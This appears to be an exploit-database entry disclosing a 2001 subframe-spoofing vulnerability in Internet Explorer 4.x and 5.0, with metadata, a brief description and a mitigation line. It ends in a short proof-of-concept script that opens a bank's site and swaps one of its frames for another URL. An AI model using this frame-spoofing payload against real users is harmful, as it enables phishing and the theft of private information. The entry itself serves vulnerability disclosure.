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vendor:
Internet Explorer
by:
SecurityFocus
4.3
CVSS
MEDIUM
Subframe Spoofing
601
CWE
Product Name: Internet Explorer
Affected Version From: 4.1
Affected Version To: 5
Patch Exists: YES
Related CWE: N/A
CPE: a:microsoft:internet_explorer
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 95/Windows 98/Windows NT 4
2001

Internet Explorer 4.1 for Windows 95/Windows 98/Windows NT 4,Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0 Subframe Spoofing Vulnerability

IE's default security settings allow a malicious webpage to open a new browser, open another site's main frame in that new browser and then set any subframes to a URL of their choosing. This could lead to misappropriation of private information, among other problems.

Mitigation:

Ensure that the security settings of the browser are set to the highest level.
Source

Exploit-DB raw data:

Internet Explorer 4.1 for Windows 95/Windows 98/Windows NT 4,Internet Explorer 5.0 for Windows 95/Windows 98/Windows NT 4,Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0 Subframe Spoofing Vulnerability

source: https://www.securityfocus.com/bid/855/info

IE's default security settings allow a malicious webpage to open a new browser, open another site's main frame in that new browser and then set any subframes to a URL of their choosing. This could lead to misappropriation of private information, among other problems. 

<SCRIPT>
b=window.open("http://www.citybank.com");
function g()
{
b.frames[2].location="http://www.yahoo.com";
}
setTimeout("g()",6000);
</SCRIPT>